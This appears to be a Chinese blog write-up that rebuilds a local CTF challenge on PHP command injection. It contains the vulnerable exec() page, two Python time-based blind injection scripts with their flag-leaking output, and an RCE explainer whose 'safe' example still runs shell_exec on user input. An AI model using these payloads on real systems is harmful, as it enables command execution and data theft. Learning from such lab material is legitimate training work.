RCE的CTF题目环境和做题复现第1集

1 通过wsl的ubuntu环境部署

2 题目

http://127.0.0.1/bypass1/bypass1.php

<?php
highlight_file(__FILE__);

$a = $_GET['a'];
if(!preg_match("/shlecholls|curl|wget|\"|'|\?|\*|>|</i",$a)){
    @exec($a);  // 执行用户输入的命令
}else{
    die("Hacker");  // 过滤时显示错误
}

3 EXP

3.1 exp1

import time
import requests
import string

url = "http://127.0.0.1/bypass1/bypass1.php?a="
dicts = string.printable
command = "cat ./flag"
result = ""

for i in range(1,50):
    for j in dicts:
        payload = "sleep $({}|cut -c {}|tr {} 3)".format(command, i, j)
        start = time.time()
        requests.get(url+payload)
        end = time.time()
        if end-start >= 3:
            result += j
            print(result)
            break

3.2 exp2

import time
import requests
import string

url = "http://127.0.0.1/bypass1/bypass1.php?a="
dicts = string.printable
command = "whoami"
result = ""

for i in range(1,50):
    for j in dicts:
        payload = "sleep $({}|cut -c {}|tr {} 3)".format(command, i, j)
        start = time.time()
        requests.get(url+payload)
        end = time.time()
        if end-start >= 3:
            result += j
            print(result)
            break

4 解题过程

4.0.1 在wsl的ubuntu上安装php环境

Step 1: Remove Existing PHP Versions
First, let’s clean up any existing PHP 7.x installations:

sudo apt-get purge php7.*
sudo apt-get autoclean
sudo apt-get autoremove
Note about these commands:

autoclean removes obsolete package files from your cache
autoremove removes dependencies that are no longer needed
Using purge removes both packages and their configuration files
Step 2: Add the PHP Repository
Ondřej Surý maintains up-to-date PHP packages for Ubuntu:

sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
Step 3: Install PHP 7.3
Now install PHP 7.3 and common extensions:

sudo apt-get install php7.3
Step 4: Configure Apache (if using Apache)
If you’re using Apache as your web server:

# Disable old PHP module (if any)
sudo a2dismod php7.0  # or whatever version you had before

# Enable PHP 7.3
sudo a2enmod php7.3
sudo systemctl restart apache2

4.0.2 /var/www/html配置普通账户可读可写可执行权限

(base) gpu3090@DESKTOP-8IU6393:~$ chown  gpu3090 /var/www/html
chown: changing ownership of '/var/www/html': Operation not permitted
(base) gpu3090@DESKTOP-8IU6393:~$ sudo chown  gpu3090 /var/www/html
(base) gpu3090@DESKTOP-8IU6393:~$ ls
M5-应用集成  anaconda3  cookies.txt  downloads  snap  summaries  tmpg00x95ve.mp3
(base) gpu3090@DESKTOP-8IU6393:~$

4.0.3 将题目代码和flag存放到/var/www/html/相应的位置

在这里插入图片描述

4.1 在vscode上运行上面的EXP的php脚本

需要安装插件php debug 和php Server

在这里插入图片描述

4.2 vscode运行exp的php脚本

(base) gpu3090@DESKTOP-8IU6393:/var/www/html$ /usr/bin/python3 /var/www/html/bypass1/bypass_exp.py
f
fl
fla
flag
flag{
flag{T
flag{Th
flag{Thi
flag{Thi0
flag{Thi0_
flag{Thi0_1
flag{Thi0_1s
flag{Thi0_1s_
flag{Thi0_1s_d
flag{Thi0_1s_di
flag{Thi0_1s_dif
flag{Thi0_1s_diff
flag{Thi0_1s_diffi
flag{Thi0_1s_diffic
flag{Thi0_1s_difficu
flag{Thi0_1s_difficul
flag{Thi0_1s_difficult
flag{Thi0_1s_difficult_
flag{Thi0_1s_difficult_y
flag{Thi0_1s_difficult_yo
flag{Thi0_1s_difficult_you
flag{Thi0_1s_difficult_you_
flag{Thi0_1s_difficult_you_a
flag{Thi0_1s_difficult_you_ar
flag{Thi0_1s_difficult_you_are
flag{Thi0_1s_difficult_you_are_
flag{Thi0_1s_difficult_you_are_g
flag{Thi0_1s_difficult_you_are_go
flag{Thi0_1s_difficult_you_are_goo
flag{Thi0_1s_difficult_you_are_good
flag{Thi0_1s_difficult_you_are_good}

(base) gpu3090@DESKTOP-8IU6393:/var/www/html$ /usr/bin/python3 /var/www/html/bypass1/bypass_exp1.py
w
ww
www
www-
www-d
www-da
www-dat
www-data
03-20
### RCE漏洞在CTF比赛中的应用与解决方案 远程代码执行(Remote Code Execution, RCE)是一种严重的安全漏洞,允许攻击者通过目标系统的弱点注入并运行恶意代码。这种类型的漏洞通常出现在Web应用程序、服务器端脚本语言以及数据库交互中。 #### 1. **RCE漏洞的应用背景** 在CTF比赛中,RCE漏洞常被设计成挑战的一部分,用于测试参赛者的逆向工程能力、漏洞挖掘能力利用技巧。例如,在某些题目中可能涉及PHP或Java环境下的多层架构漏洞[^2]。这些环境中可能存在未修复的组件或者错误配置,从而导致目录遍历、命令注入等问题的发生。 #### 2. **常见的RCE漏洞触发方式** - **不安全的文件上传功能** 如果程序未能正确验证用户提交的内容,则可能导致任意代码被执行。比如上传带有恶意PHP代码的图片文件,并通过特定路径访问该文件即可实现反向外壳连接[^4]。 - **SQL注入引发的RCE** 当存在H2或其他轻量级嵌入式数据库时,如果输入参数未经严格过滤就直接拼接到查询语句里,那么可能会造成数据泄露甚至进一步提升权限至操作系统层面的操作。 - **中间件配置不当引起的RCE** 默认版本较高的mod_jk模块也可能因为历史遗留问题而暴露出潜在风险——即所谓的“默认最新版”并不意味着绝对安全;相反它也许隐藏着未知但已被公开讨论过的零日缺陷。 #### 3. **防御措施建议** 为了防止此类情况发生,开发者应该采取以下策略来增强软件的安全性: - 对所有外部传来的变量都需经过必要的校验处理后再参与后续逻辑运算; - 使用白名单机制限定合法字符范围内的操作指令合; - 避免硬编码敏感信息到源码当中去; - 定期审查第三方库是否存在已知安全隐患并及时升级替换掉有争议的部分。 以下是基于上述理论的一个简单防护示例: ```php <?php // 假设这是来自用户的不可信输入 $user_input = $_GET['cmd']; // 只允许字母数字作为有效命令 if (ctype_alnum($user_input)) { shell_exec($user_input); } else { echo "Invalid input!"; } ?> ``` #### 结论 综上所述,理解如何识别防范RCE对于提高个人技术水平至关重要。同时也要认识到没有任何单一的方法能够完全杜绝这类威胁的存在,因此持续学习最新的攻防技术动态显得尤为重要。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值